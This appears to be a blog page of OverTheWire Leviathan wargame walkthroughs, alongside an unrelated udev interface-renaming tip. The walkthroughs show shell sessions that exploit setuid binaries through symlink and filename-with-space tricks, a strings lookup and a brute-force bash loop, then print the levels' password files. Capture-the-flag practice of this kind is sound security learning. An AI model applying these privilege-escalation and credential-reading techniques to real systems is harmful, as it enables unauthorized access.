OverTheWire Leviathan Wargame Solution 2

Demux

Leviathan2 presents us with a small binary that belongs to the user leviathan3 and group leviathan2. The program contains a small security hole that can be exploited using a symbolic link.  To understand how the program functions at its core and what is happening behind the scenes when the program executes, we will use a few Linux commands and techniques to enlighten us with this information.

Edited: 3/18/2014:

  • Updated with current solution
  • Made more readable

Leviathan 2->3:

For the sake of this updated tutorial, we are going to go ahead and create a directory and a file with a space in the name all in one go:

We can see that the function access() and /bin/cat is being called on the file. What access() does is check permissions based on the process’ real user ID rather than the effective user ID. We can also see that /bin/cat/ is being…

View original post 204 more words

Advertisements

Renaming Network Interfaces with Udev Rules

linuxRecently I have noticed something while troubleshooting some network traffic issues. My wireless interface decided to rename itself to an obscure string presumably after an update to either Network Manager or udev. Specifically wlan0 was being renamed to wlp0s22f2u1 when it had previously been wlan0 for as long as I can remember. Digging around, I realized that I no longer had the file: /etc/udev/rules.d/70-persistent-net.rules. This file contains rules that udev will use to name network interfaces, but it was missing. Fortunately it is easy to create or alter if you want to rename network interfaces to stable names.

Let's first grab the hardware address of the problem interface:
ifconfig -a

You will see some output like so:


wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1492
        inet 192.168.2.2  netmask 255.255.255.0  broadcast 192.168.2.255
        inet6 fe80::2c0:caff:fe40:b198  prefixlen 64  scopeid 0x20<link>
        ether 00:01:02:03:04:05  txqueuelen 1000  (Ethernet)
        RX packets 4407  bytes 2748119 (2.6 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6714  bytes 1423408 (1.3 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Amongst all the noise, we can see from our output of ifconfig that our hardware address is 00:01:02:03:04:05(ether or hwaddr line*). Now as root, create the file 70-persistent-net.rules with your favorite editor in /etc/udev/rules.d:

# vi /etc/udev/rules.d/70-persistent-net.rules

Now enter or copy/paste in this information. Remember, each rule needs to be on it's own line.

# wlan0
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:01:02:03:04:05", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="wlan*", NAME="wlan0"

Now you can either reboot or attempt a udev restart. A reboot will ensure rules are reloaded, but you can try some of these commands on various distros:

# udevadm control --reload-rules
or
# udevadm trigger

Closing thoughts. The system does work perfectly fine without renaming interfaces to stable names. And quite possibly a future udev upgrade may wipe this rule out. But for anyone like me who likes clean interface names or anyone needing to rename interfaces for reasons out of context here, this is one way to do this on many Linux distros.

OverTheWire Leviathan Wargame Solution 6

The final stage of Leviathan presents us with a problem that can be solved via some quick bash scripting. The binary in our home directory accepts a 4 digit combination as the password. Iterating through all the possible combination manually would take too much time. So we create a bash script to do this in a matter of seconds.

Leviathan6->7

leviathan6@melinda:~$ ls
leviathan6
leviathan6@melinda:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@melinda:~$ ./leviathan6 1111
Wrong

# Create a directory in /tmp to work in:
leviathan6@melinda:/$ mkdir /tmp/bashbrute
leviathan6@melinda:/$ cd /tmp/bashbrute/
leviathan6@melinda:/tmp/bashbrute$ nano brute.sh

#Remember to give your script execute privileges
leviathan6@melinda:/tmp/bashbrute$ chmod +x bashbrute.sh

Quick bash script I wrote that will brute force the binary, use this in brute.sh, or create your own…


#!/bin/bash

for i in {0000..9999}
do
~/leviathan6 $i
done

Run the binary and simply wait for it to iterate through all possible number combinations. Note that we could echo out the password when we find it. Here the script will simply input the pass to the binary and pop us into leviathan7’s shell when it finds a match.

#Go ahead and run the script...
leviathan6@melinda:/tmp/bashbrute$ ./bashbrute.sh

#Let it run, takes about 20 seconds...

#Verify we are in Leviathan7's shell:
$ whoami
leviathan7

Alas, we have made it to the final level of Leviathan. Technically we are done. If you want, you can still cat leviathan7’s password and ssh over to the next level. There is a special congratulations message there for the winners.

leviathan7@melinda:~$ ls
CONGRATULATIONS
leviathan7@melinda:~$ cat CON*
Well Done, you seem to have used a *nix system before, now try something more serious.

I hope the Leviathan series has been informative and fun for you as it was for me. You should have picked up some Linux skills as well as a few security skills. The congratulations message encourages us to try something more serious. I think I will begin posting my Natas solutions. Natas is about basic serverside web-security and might be a good change of pace. Stay tuned for future OvertheWire solutions and programming snippets.

OverTheWire Leviathan Wargame Solution 5

A lesson in symlinks is long overdue. In Leviathan 6, we will exploit a binary by using using symbolic linking to a file we have permission of. When we run the binary in Leviathan5’s home directory, it appears to be attempting to read from a file in /tmp. The binary is owned by Leviathan6 but belongs to the Leviathan5‘s group. Therefore, it can pull Leviathan6’s password.

Leviathan 5->6

leviathan5@melinda:~$ ls -la
-r-sr-x---   1 leviathan6 leviathan5 7501 Jun  6 13:59 leviathan5

#Try to run the binary
leviathan5@melinda:~$ ./leviathan5
/tmp/file.log: No such file or directory

#Since we need Leviathan 6's pass, symlink that to the log we create within the same command:
leviathan5@melinda:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log

#Now run the binary, which apparently reads whatever is in /tmp/file.log
leviathan5@melinda:~$ ./leviathan5
UgaoFee4li

We successfully exploited bad permissions placement on files via symlinking and now have Leviathan6’s pass as a result. These types of issues are still in existence in the real world believe it or not.

OverTheWire Leviathan Wargame Solution 4

Leviathan 5 takes only a few minutes to complete if you know where to look and it brings us to a fundamental concept in computing, the binary number system. Upon inspection of our new home directory we don’t see much. However, there is a trash directory here. Navigate to it to find a mysterious binary aptly named “bin”. After running it, we see sets of binary code as output. From here there are a couple of things we can do. We can copy and paste the output in an online binary to ASCII converter to translate it for us or probably use one of the tools in our shell to do this operation for us. For now, I have simply pasted it in an online converter.

Take a look at my shell output if you are lost:

Leviathan 4->5


leviathan4@melinda:~$ ls -la
total 24
drwxr-xr-x   3 root root       4096 Jun  6 13:59 .
drwxr-xr-x 149 root root       4096 Jun 14 09:49 ..
-rw-r--r--   1 root root        220 Apr  3  2012 .bash_logout
-rw-r--r--   1 root root       3486 Apr  3  2012 .bashrc
-rw-r--r--   1 root root        675 Apr  3  2012 .profile
dr-xr-x---   2 root leviathan4 4096 Jun  6 13:59 .trash
leviathan4@melinda:~$ cd .trash
leviathan4@melinda:~/.trash$ ls -la
total 16
dr-xr-x--- 2 root       leviathan4 4096 Jun  6 13:59 .
drwxr-xr-x 3 root       root       4096 Jun  6 13:59 ..
-r-sr-x--- 1 leviathan5 leviathan4 7254 Jun  6 13:59 bin

#Run the binary to see the output
leviathan4@melinda:~/.trash$ ./bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010

After conversion of the binary output we have our password: Tith4cokei. We are ready to move along to Leviathan 6’s shell.

OverTheWire Leviathan Wargame Solution 3

For Leviathan 3, we keep things real simple.  We only need a few commands that we are already familiar with to get access to Leviathan4’s shell. When we finally do get his shell, we can cat his password in /etc/leviathan_pass/leviathan4 and correctly log in as him to begin level 4->5. Let’s take a look at my shell output.

Leviathan 3->4:


leviathan3@melissa:~$ ls
level3

#We see a binary, so let's run it:

leviathan3@melissa:~$ ./level3
Enter the password> password
bzzzzzzzzap. WRONG

#Okay, let's see if there are any interesting strings in it:

leviathan3@melissa:~$ strings ./level3
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
__printf_chk
puts
__stack_chk_fail
stdin
fgets
system
__libc_start_main
GLIBC_2.4
GLIBC_2.0
GLIBC_2.3.4
PTRh
[^_]
snlprintf
[You've got shell]!
/bin/sh
bzzzzzzzzap. WRONG
Enter the password>
secret

#Okay, now we are working with something. The point of interest
#for us will be the snlprintf word. Right after that you see the
#words, "You've got shell!". Let's use that as the password:

leviathan3@melissa:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ whoami
leviathan4

#Interesting phenomenon, we have been dumped into Leviathan4's shell
#All that is left to do is cat the password:

$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m

Just like that, we have the password for Leviathan 4. Why though? Some may already be familiar with snprintf in C. I am not familiar with any snlprintf(). So we can assume it is a made up function or actually is the password. Clearly it is a visible string in the binary. If you follow the logic in the strings output, you can crudely tell this is what pops the shell in main.

Other thoughts, maybe the L is for leviathan. One could also try using ltrace on the binary to look for strcmp() or similar functions that have the password as an argument. One could easily spend a fair amount of time trying things out on this challenge, the key is in plain site, but probably not what most people will be looking for.

OverTheWire Leviathan Wargame Solution 2

Leviathan2 presents us with a small binary that belongs to the user leviathan3 and group leviathan2. The program contains a small security hole that can be exploited using a symbolic link.  To understand how the program functions at its core and what is happening behind the scenes when the program executes, we will use a few Linux commands and techniques to enlighten us with this information.

Edited: 3/18/2014:

  • Updated with current solution
  • Made more readable

Leviathan 2->3:

leviathan2@melinda:~$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Jun 6 2013 .
drwxr-xr-x 160 root root 4096 Oct 17 09:23 ..
-rw-r--r-- 1 root root 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 root root 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 root root 675 Apr 3 2012 .profile
-r-sr-x--- 1 leviathan3 leviathan2 7365 Jun 6 2013 printfile

#Running "printfile" we can see that it wants a file path
#argument:

leviathan2@melinda:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename

For the sake of this updated tutorial, we are going to go ahead and create a directory and a file with a space in the name all in one go:


mkdir /tmp/solveme && touch /tmp/solveme/file\ tmp.txt

#Let's relocate into our newly created directory:
cd /tmp/solveme

#Check what's inside, we see our file with a space:
leviathan2@melinda:/tmp/solveme$ ls -la
total 2560
drwxrwxr-x    2 leviathan2 leviathan2    4096 Mar 19 03:40 .
drwxrwx-wt 1826 root       root       2613248 Mar 19 03:40 ..
-rw-rw-r--    1 leviathan2 leviathan2       0 Mar 19 03:40 file tmp.txt

#Now, let's examine what is happening with ltrace:
leviathan2@melinda:/tmp/solveme$ ltrace ~/printfile "file tmp.txt"
__libc_start_main(0x80484f4, 2, -10348, 0x80485d0, 0x8048640
access("file tmp.txt", 4) = 0
snprintf("/bin/cat file tmp.txt", 511, "/bin/cat %s", "file tmp.txt") = 21
system("/bin/cat file tmp.txt"/bin/cat: file: Permission denied
/bin/cat: tmp.txt: No such file or directory
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++

So, what is happening here is a small security hole in how this program functions. We can see that the function access() and /bin/cat are being called on the file. What access() does is check permissions based on the process’ real user ID rather than the effective user ID.

While access does use the full file path, the cat on the file is not using the full file path. We can see this near the end of the output where /bin/cat/ is being called to tmp.txt as if it were a separate file, it’s really the second half of our filename. This can be exploited if we create a symbolic link from the password file to the file we created in /tmp.

Let’s create the symbolic link, but with only the first part of the filename we created before the space.

leviathan2@melinda:/tmp/solveme$ ln -s /etc/leviathan_pass/leviathan3 /tmp/solveme/file

#Checking our directory, we see file tmp.txt was not converted
#to a symlink, but a separate symlink called "file" was created.

leviathan2@melinda:/tmp/solveme$ ls -la
total 2560
drwxrwxr-x 2 leviathan2 leviathan2 4096 Mar 19 03:41 .
drwxrwx-wt 1826 root root 2613248 Mar 19 03:56 ..
lrwxrwxrwx 1 leviathan2 leviathan2 30 Mar 19 03:41 file -> /etc/leviathan_pass/leviathan3
-rw-rw-r-- 1 leviathan2 leviathan2 0 Mar 19 03:40 file tmp.txt

Calling ~/printfile on the file that actually links to the password will fail.

leviathan2@melinda:/tmp/solveme$ ~/printfile "file"
You cant have that file...

#Hmmm, let's try calling it on the other file:
leviathan2@melinda:/tmp/solveme$ ~/printfile "file tmp.txt"
Ahdiemoo1j
/bin/cat: tmp.txt: No such file or directory

Bingo, the file did actually access the symbolic link correctly up until file, but then tried to incorrectly cat the part of the file name after the space as if it were another file.

This all works because /printfile is owned by leviathan3. Access will call the symlink with that privilege. But we also needed to utilize a syntax hack to make it work, hence the filename with a space in it. Be sure to check out the reference pages for the access() and ltrace for some background.

Enjoy the password for level 3: Ahdiemoo1j